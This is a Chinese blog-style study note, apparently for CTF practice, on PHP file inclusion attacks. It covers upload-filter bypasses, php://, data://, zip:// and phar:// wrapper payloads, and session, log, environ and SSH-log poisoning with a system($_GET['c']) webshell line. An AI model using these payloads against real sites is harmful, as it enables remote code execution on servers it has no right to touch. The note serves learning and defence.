php文件包含是一个很经典的洞了,也是老生常谈。在现在的比赛中多用于对源码的读取,例如利用伪协议data:\\等等进行读取文件源码等过程。

由于内容有些多,所以具体攻击过程就不写入了(我就是海王)。

一些经典绕过

  • 前端js绕过 若利用了前端js对上传文件进行了检查,可以使用如下几个方式来进行绕过(在浏览器中设置禁用js, 使用禁用js插件,使用chrome直接修改js,上传时抓包发送)
  • 文件后缀名大小写绕过在某种特定的情况下,例如waf所利用的函数大小写敏感时,将文件名改为类似a.phP a.PhP 等的文件可以绕过waf 。
  • 双写绕过在某种特定情况下,例如waf没有检查文件后缀,而是将黑名单后缀更改为空,这时可以利用双写后缀名进行绕过.例如写好a.phpphp进行上传,前面的php会被替换,成为a.php
  • 图片马当目标服务器对上传文件的文件类型进行限制时,可以通过先写好木马,上传时截包更改文件后缀来进行绕过。

php伪协议

php://input 注: 1.allow_url_include=On 2.allow_url_fopen=ON/OFF 使用

1.php?filename=php://input
 
POST:<?php phpinfo(); ?>

php://filter

通常被用来在比赛中读取敏感文件

1.php?filename=php://filter/read=convert.base64-encode/resource=a.php

1.php?filename=php://filter/convert.base64-encode/resource=a.php

效果完全相同

zip://

注:php版本大于等于5.3且包含文件必须使用绝对路径

将木马弄成压缩包

1.php?filename=zip://D:\1.zip#2.txt

phar://

zip相似,但可以使用相对路径,前提是包在当前目录下

注:php版本大于等于5.3

1.php?filename=phar://D:/1.zip/2.txt

data://

注:php版本大于等于5.2

1.allow_url_fopen=On 2.allow_url_include=On

有几种利用姿势

  • 写入代码:1.php?filename=data:text/plain,<? phpinfo(); ?>
  • 执行命令:1.php?filename=data:text/plain, <? system('ls'); ?>
  • 通过base64编码1.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

包含session

注:个人认为利用条件较为苛刻,需要已知session的路径

常用session路径:

1./var/lib/sess_PHPSESSID 2./tmp/sess_PHPSESSID 3./tmp/session/sess_PHPSSID

其中的phpsessid可在请求中的cookie中看到,但是要求session.upload_progress.cleanup开启。利用姿势比较灵活,可以先通过包含进session文件里,通过其内容发现可控变量,再写入代码,再次包含进行利用。但由于session用完就会清空,所以要用到条件竞争,可以一直发送请求,一直包含,用burp进行爆破。

参考:https://www.cnblogs.com/Oran9e/p/8082962.html

ssh-log RCE

原理:实质上与包含日志文件一样,ssh每一次链接成功或失败都会生成一个日志文件,通常在/var/log/auth.log,利用时要求该文件权限可读。

然后ssh链接时,ssh '<?php system($_GET['c']); ?>'@192.168.1.129写入payload,然后进行文件包含。

这个方式由于自己的技术(指英语)不足,没有复现成功,再一次复现会安排到后面进行。

参考:https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/

包含临时文件

php上传文件时会创建一个临时文件,php进行处理的时间轴如下.

php文件处理时间轴

通常情况下在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录,包含时需要知道临时文件名,由于linux随机函数有缺陷,而在windows中只有65535种不同的文件名,所以暴力破解文件名是可行的。

还有一种知道文件名的方式是配合在phpinfo界面的php variables查看_FILE["file"],然后赶在临时文件被删除前进行包含。

包含日志

注:与ssh-log类似,需要知道服务器日志的存储路径,且日志文件可读。

很多时候,web服务器会请求写入到日志文件中,在用户发送请求时,会将请求写入access/log,当发生错误时将错误写入error.log。通常情况下,日志保存路径在/var/log/apache2。

当直接发起请求时,一些特殊字符会被urlencode编码,这时可以通过截包修改绕过。也可以直接用burp访问。

包含environ

注:php需要以cgi的方式运行,这样下的environ才会保持UA头,而且需要知道environ文件储存位置并权限可读。

与上面类似,proc/self/environ中会保持user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它即可。

参考:http://websecuritylog.blogspot.com/2010/06/procselfenviron-injection.html (注:可能需要富强上网)

https://blog.csdn.net/xysoul/article/details/46689049

包含fd

也就是包含/proc/self/fd/。与environ相似

参考:https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method (再一次留下了英语四级没过的泪水。)

include()包含错误

include()在进行包含时,若遇到丢失文件停止处理时,不会像require()一样产生致命错误,而是产生一个警告,也就是说程序会继续运行。

例如,当include()包含失败,导致其中关键变量$a没有成功初始化,那么在register_globas=On或者使用了extract()的情况下,我们就可以自行提交$a。从而可能实现二次攻击。

参考:http://www.wolvez.org/forum/thread-55-1-1.html


花びらは笑った.